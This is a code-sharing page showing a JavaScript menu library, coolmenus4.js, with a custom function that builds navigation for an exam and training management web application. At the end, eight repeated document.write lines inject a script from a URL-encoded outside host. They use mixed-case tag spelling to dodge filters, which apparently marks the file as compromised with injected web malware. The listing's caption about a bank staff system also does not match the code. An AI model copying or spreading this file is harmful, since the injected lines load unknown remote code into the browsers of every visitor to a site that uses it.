⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 coolmenus4.js

📁 用于银行全面掌控公司及各个部门的员工信息与设备资料
💻 JS
📖 第 1 页 / 共 2 页
字号:
      if(i>0&&i>l-1) if(bw.op5||bw.op6) for(j=0;j<c.l[i].m.length;j++) c.m[c.l[i].m[j]].o.hideIt()
    }if(i>l){for(j=0;j<c.l[i-1].arnum;j++){c.l[i-1].arr[j].hideIt(); if(bw.op6) c.l[i-1].arr[j].moveIt(-1000,-1000)}} //opera bug
  }if(hide&&c.onhide) eval(c.onhide) //onhide event
}
/***Make all menu div objects**/
makeCM.prototype.makeObjects=function(nowrite,fromframe){ //Changed v4.06
  var c = this,oc,name,bx,by,w,h,l,no,ar,id,nest,st=0,en=c.l.length,bobj,o,m,i,j
  //Added v4.05
  if(fromframe){
    st = this.frameStartLevel
    this.body = fromframe.document.body
    this.doc = fromframe.document
    this.deftarget=fromframe
    this.cmpage = new cm_page(fromframe)
  }else{
    this.body=document.body
    this.doc=document
    if(this.frames) en = this.frameStartLevel
    this.deftarget=self
  }
  if(!nowrite){
    for(i=st;i<en;i++){ //changed 4.06
      if(!bw.usedom) this.doc.write(c.l[i].str)
      else if(i>0) this.body.appendChild(c.l[i].app)
      if(!this.frames) c.l[i].str=null
    }}c.z=c.zIndex+2
  for(i=st;i<en;i++){oc=0
    if(i!=0){bobj=c.l[i].b = new cm_makeObj(c.name + "_"+i+"_0","",c.l[i].app,this.doc); bobj.css.zIndex=c.z; 
    if(bw.dom) bobj.css.overflow='hidden'}; bx=c.l[i].borderX; by=c.l[i].borderY; c.l[i].max=0;
    for(j=0;j<c.l[i].m.length;j++){
      m = c.m[c.l[i].m[j]]; name=m.name; w=m.w; h=m.h; l=m.lev; no=m.nolink;
      if(i>0){m.b = bobj; nest=i}
      else{m.b = new cm_makeObj(c.name + "_"+name+"_0","",m.d1,this.doc); m.b.css.zIndex=c.z; m.b.clipTo(0,w+bx*2,h+by*2,0,1); nest=name}
      id = c.name + "_"+name; nest=c.name + "_"+nest;
      if(m.create){
        o=m.o=new cm_makeObj(id,nest+"_0",m.d2,this.doc); o.z=o.css.zIndex=c.z+1; if(bw.reuse){c.l[l].o[oc]=o; oc++}; 
        if(l==0&&m.img1) o.css.visibility='inherit'; if(bw.op5) o.showIt(); o.arr=0;
      }if(!bw.reuse||l==0) o.clipTo(0,w,h,0,1); o.moveIt(bx,by); o.z=o.css.zIndex=c.z+2
      if(j<c.l[i].arnum){
        c.l[i].arr[j]=new cm_makeObj(c.name+"_a"+i+"_"+j,nest+"_0",nowrite?0:c.l[i].arr[j],this.doc)
        c.l[i].arr[j].css.zIndex=c.z+30+j;
      }else if(l==0&&m.arr==1){
        o.arr=new cm_makeObj(id+"_a",nest+"_0",m.d3,this.doc)
        o.arr.moveIt(bx+m.w-c.l[i].arrowWidth-3,by+m.h/2-(c.l[i].arrowHeight/2)); 
        o.arr.css.zIndex=c.z+20;
      }if(!no && !bw.reuse && !m.img1){  
        o.over=new cm_makeObj(c.name + "_"+name+"_1",nest+"_0"+".document.layers."+id,"",this.doc)
        o.over.moveIt(0,0); o.over.hideIt(); o.over.clipTo(0,w,h,0,1); o.over.css.zIndex=c.z+3
        img=new cm_makeObj(c.name + "_"+name+"_3",nest+"_0"+".document.layers."+id,"",this.doc); img.moveIt(0,0)
        img.css.visibility="inherit"; img.css.zIndex=c.z+4; if(bw.op5) img.showIt()
      }c.z++; 
    }
  }
	if(fromframe){	///Set scroll vars - added v4.05
		c.chkscroll = function(){//changed 4.06
			if (bw.ie&&!bw.ie6) this.scrollY=this.body.scrollTop;
			else if (bw.ie6 || bw.op7){
				if (this.doc.compatMode && document.compatMode != "BackCompat")	this.scrollY=this.doc.documentElement.scrollTop
				else this.scrollY=this.body.scrollTop
			}else this.scrollY=this.deftarget.pageYOffset;
		}
	}
}
/**Onmouseout**/
makeCM.prototype.mout = function(){ //Changed v4.06
	var c = this; clearTimeout(c.tim); c.isover = 0; var f="if(!"+c.name+".isover)"+c.name+".hidesub()"
  if(!c.closeOnClick) c.tim = setTimeout(f,c.wait)
	else{
		if(bw.ns4){ document.captureEvents("Event.MOUSEDOWN"); document.onmousedown=new Function(f)}
		else document.onclick=new Function(f); 
		if(this.frames){
			if(bw.ns4){this.doc.captureEvents("Event.MOUSEDOWN"); this.doc.onmousedown=new Function(f)}
			else this.doc.onclick=new Function(f)
		}
	}
}
/**Constructing and initiating top items and bar**/
makeCM.prototype.construct=function(nowrite){ //Changed v4.06
  var c=this; if(!c.l[0]||c.l[0].m.length==0) return cm_message('No menus defined');
	 if(!nowrite){for(var i=1;i<c.l.length;i++){c.l[i].str+="</div>"}} //Added 4.06
  c.makeObjects(nowrite); cmpage = new cm_page(); 
  var mpa,o,maxw=c.maxw,maxh=c.maxh,i,totw=c.totw,toth=c.toth,m,px=c.pxBetween
  var bx=c.l[0].borderX,by=c.l[0].borderY,x=c.fromLeft,y=c.fromTop,mp=c.menuPlacement,rows=c.rows
  if(rows){toth=maxh+by*2; totw=totw-px+bx;}else{totw=maxw+bx*2; toth=toth-px+by;}
  switch(mp){
    case "center": x=cmpage.x2/2-totw/2; if(bw.ns4) x-=9; break;
    case "right": x=cmpage.x2-totw; break;
    case "bottom": case "bottomcenter": y=cmpage.y2-toth; if(mp=="bottomcenter") x=cmpage.x2/2-totw/2; break;
    default: if(mp.toString().indexOf(",")>-1) mpa=1; break;
  }for(var i=0;i<c.l[0].m.length;i++){
    m = c.m[c.l[0].m[i]]; o = m.b; if(mpa) rows?x=cm_cp(mp[i]):y=cm_cp(mp[i],0,0,1); 
    o.moveIt(x,y); o.showIt(); if(m.arr) m.o.arr.showIt(); o.oy=y; 
    if(!mpa) rows?x+=m.w+px+bx:y+=m.h+px+by
  }if(c.useBar==1){ //Background-Bar
    var bbx=c.barBorderX,bby=c.barBorderY; 
    var bar1=c.bar1= new cm_makeObj(c.name+'bbar_0',c.name+'bbar',nowrite?0:c.bar1,document)
    var bar=c.bar= new cm_makeObj(c.name+'bbar','',nowrite?0:c.bar,document); bar.css.zIndex=c.zIndex+1
    var barx=c.barX=="menu"?c.m[c.l[0].m[0]].b.x-bbx:cm_cp(c.barX,1);
    var bary=c.barY=="menu"?c.m[c.l[0].m[0]].b.y-bby:cm_cp(c.barY);
    var barw=c.barWidth=="menu"?totw:cm_cp(c.barWidth,1,bbx*2);
    var barh=c.barHeight=="menu"?toth:cm_cp(c.barHeight,0,bby*2);
    bar1.clipTo(0,barw,barh,0,1); bar1.moveIt(bbx,bby); bar1.showIt();
    bar.clipTo(0,barw+bbx*2,barh+bby*2,0,1); bar.moveIt(barx,bary); bar.showIt();
  }if(c.resizeCheck){ //Window resize code - updated 4.06 - stil sucks
    if(bw.ns4||bw.op5||bw.op6)setTimeout('window.onresize=new Function("'+c.name+'.resized()")',500)
		else window.onresize=new Function(c.name+".resized()")
    c.resized=cm_resized; if(bw.op5||bw.op6) document.onmousemove=new Function(c.name+".resized()")
  }if(c.onconstruct) eval(c.onconstruct) //onconstruct event
  c.constructed = 1 //Added v4.05
  return true
}
/**Capturing resize**/
var cm_inresize=0
function cm_resized(){
  if(cm_inresize) return
	page2=new cm_page(); var off=(bw.op6||bw.op5)?20:5
  if(page2.x2<cmpage.x2-off || page2.y2<cmpage.orgy-off || page2.x2>cmpage.x2+off || page2.y2>cmpage.orgy+off){
		if(bw.ie||bw.ns6||bw.op7||bw.ns4){
      cmpage=page2; this.isresized=1; 
      if(this.onresize) eval(this.onresize); this.construct(1);
      if(this.onafterresize) eval(this.onafterresize);
		}else{cm_inresize=1; location.reload()} 
  }
}
/**Onclick of an item**/
makeCM.prototype.onclck=function(m){ //Changed v4.06
  m = this.m[m]
  if(m.onclck) eval(m.onclck);
	if(this.openOnClick && m.subs.length>0){
		this.clicked = 1; this.showsub(m.name); //return
	} 
  var lnk=m.lnk, targ=m.targ
  if(lnk){
    if(lnk.indexOf("mailto")!=0 && lnk.indexOf("http")!=0) lnk=this.root+lnk
		if(String(targ)=="undefined" || targ=="" || targ==0 || targ=="_self"){
      if(this.frames){ //Turning of all level 1 + vars
        if(this.l[0].a){
          this.m[this.l[0].a].active(0,1)
          this.l[0].a =0
        }
        for(i=this.frameStartLevel;i<this.l.length;i++){
          if(this.l[i].b){
            this.l[i].b.hideIt()
            this.l[i].b = null
            for(j=0;j<this.l[i].m.length;j++){
              this.m[this.l[i].m[j]].b = null;
            }
          }
        }
        this.isover=0
      }
      this.deftarget.location.href=lnk 
    }
    else if(targ=="_blank") window.open(lnk)
    else if(targ=="_top" || targ=="window") top.location.href=lnk
    else if(top[targ]) top[targ].location.href=lnk
    else if(parent[targ]) parent[targ].location.href=lnk
  }else return false
}

function showMenu(strPriv,strUrl,menuType)
{
	
strPriv1="首页;;考试;;考试指南;;参加考试;;成绩查询;;统计;;成绩统计;;知识点统计;;补考::1-100;;1-200;;1-200-100;;1-200-200;;1-300;;1-400;;1-400-100;;1-400-200;;1-500::1;;1;;2;;2;;1;;1;;2;;2;;1::/login_s.htm;;;;/exam/examGuide.htm;;/exam/examSelect.htm;;/exam/examResultQuery.htm;;;;;;;;";
strPriv2="首页;;咨询管理;;咨询人员登记;;添加来访信息;;咨询信息维护;;咨询信息分析;;班级管理;;班级设置;;班级新增;;班级信息维护;;学员设置;;学生新增;;学生档案管理;;反馈管理;;创建反馈表单;;填写反馈表单;;反馈标准维护;;反馈信息分析;;考试管理;;查询考试成绩;;修改考试成绩;;最新考试安排;;增加新考试;;评分策略设置;;评分策略明细设置;;财务管理;;咨询人员收费管理;;正式学员收费管理;;学员欠费通知;;财务报表分析;;系统设置;;用户设置;;角色设置;;数据字典设置::1-100;;1-200;;1-200-100;;1-200-200;;1-200-300;;1-200-400;;1-300;;1-300-100;;1-300-100-100;;1-300-100-200;;1-300-200;;1-300-200-100;;1-300-200-200;;1-400;;1-400-100;;1-400-200;;1-400-300;;1-400-400;;1-500;;1-500-100;;1-500-200;;1-500-300;;1-500-400;;1-500-500;;1-500-600;;1-600;;1-600-100;;1-600-200;;1-600-300;;1-600-400;;1-700;;1-700-100;;1-700-200;;1-700-300::1;;1;;2;;2;;2;;2;;1;;2;;3;;3;;2;;3;;3;;1;;2;;2;;2;;2;;1;;2;;2;;2;;2;;2;;2;;1;;2;;2;;2;;2;;1;;2;;2;;2::;;;;/Consultation/ConsultOfRegister.jsp;;/Consultation/ConsultationVisit.jsp;;/Consultation/ShowConsultantInfo.jsp;;;;;;;;/classManager/classes_new.jsp;;/classManager/classes_index.jsp;;;;/classManager/classes_index.jsp;;/classManager/student_index.jsp;;;;/feedback/create_select.jsp;;/feedback/feedback.jsp;;/feedback/standard_service.jsp;;/feedback/asdf.jsp;;;;/exam/StudentTestDTLAction.do?method=seeScore;;/exam/StudentTestDTLAction.do?method=score_show;;/exam/StudentTestAction.do?method=examplan;;/exam/StudentTestAction.do?method=gettestno;;/exam/TestsummaryAction.do?method=find;;/exam/testSummaryDTLAction.do?method=showMain;;;;;;;;;;;;;;/permission/userManage.jsp;;/permission/roleManage.jsp;;/DataDictionary/DataDictionaryShow.jsp";
if(menuType==1)
{
	strPriv = strPriv1;
}
else if(menuType == 2)
{
	strPriv = strPriv2;
}

	if (strPriv.length > 0)
	{
		oM=new makeCM("oM"); oM.resizeCheck=0; oM.rows=1;  oM.onlineRoot="";oM.offlineRoot=""; oM.pxBetween =0; 
		oM.fillImg="cm_fill.gif"; oM.fromTop=67; oM.fromLeft=0; oM.wait=300; oM.zIndex=400;
		oM.useBar=0; oM.barWidth="100%"; oM.barHeight="menu"; oM.barX=0;oM.barY="menu"; oM.barClass="clBar";
		oM.barBorderX=0; oM.barBorderY=0;oM.openOnClick=1;oM.closeOnClick=0;
		oM.level[0]=new cm_makeLevel(100,20,"clT","clTover",0,0,"clB",0,"bottom",0,0,0,0,0);	
		oM.level[1]=new cm_makeLevel(160,23,"clS","clSover",0,0,"clBS",0,"right",0,0,strUrl + "/webep/m_arrow.gif",9,9);
		oM.level[2]=new cm_makeLevel(160,23,"clS2","clS2over");
		oM.level[3]=new cm_makeLevel(140,20);

		//   取得用户权限;
		var arrDepart = new Array();
		var arrLevel = new Array();
		var arrName = new Array();
		var arrNo = new Array();
		var sParent = new Array();

		var tmpArrNo = new Array();	//替换后的编号
		var newArrNo = new Array();	//处理完成后的编号

		arrDepart = strPriv.split("::");
		if (arrDepart.length==4){
		  
		  arrName = arrDepart[0].split(";;");
		  arrNo = arrDepart[1].split(";;");
		  arrLevel = arrDepart[2].split(";;");
		  arrUrl = arrDepart[3].split(";;");
		  var iLength = arrName.length;
		  var i = 0;
		  var tmpStr = "";
		
		  //替换编号的"-"号为下划线
		  for(i=0;i<iLength;i++){
			  tmpArrNo[i] = arrNo[i].replace("-","_");
			  while(tmpArrNo[i].indexOf("-")>0){
				  tmpArrNo[i] = tmpArrNo[i].replace("-","_");
			  }
		  }
		  
		  for(i=0;i<iLength;i++){
			
			//根据级别取出上级权限编号
			if (tmpArrNo[i].indexOf("_") == tmpArrNo[i].lastIndexOf("_")){
				sParent[i] = "";
				newArrNo[i] = "Top" + tmpArrNo[i];
			}
			else{
				tmpStr = tmpArrNo[i].substring(0,tmpArrNo[i].lastIndexOf("_"));
				
				if (tmpStr.lastIndexOf("_")==1){
					sParent[i] = "Top" + tmpStr;
				}
				else{
					sParent[i] = "Sub" + tmpStr;
				}
				newArrNo[i] = "Sub" + tmpArrNo[i];
			}
			//处理链接地址
			if (arrUrl[i] != "null" && arrUrl[i].length>0){
				arrUrl[i] = strUrl + arrUrl[i];
			}
			else{
				arrUrl[i] = "";
			}

			//生成菜单
			if (arrLevel[i]!=999){
				oM.makeMenu(newArrNo[i],sParent[i], arrName[i],arrUrl[i],'','','','','','','','','','','status="";','status="";','status="";')
			}
		  }
		}
		oM.menuPlacement=0;
		oM.construct()
	}
}
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -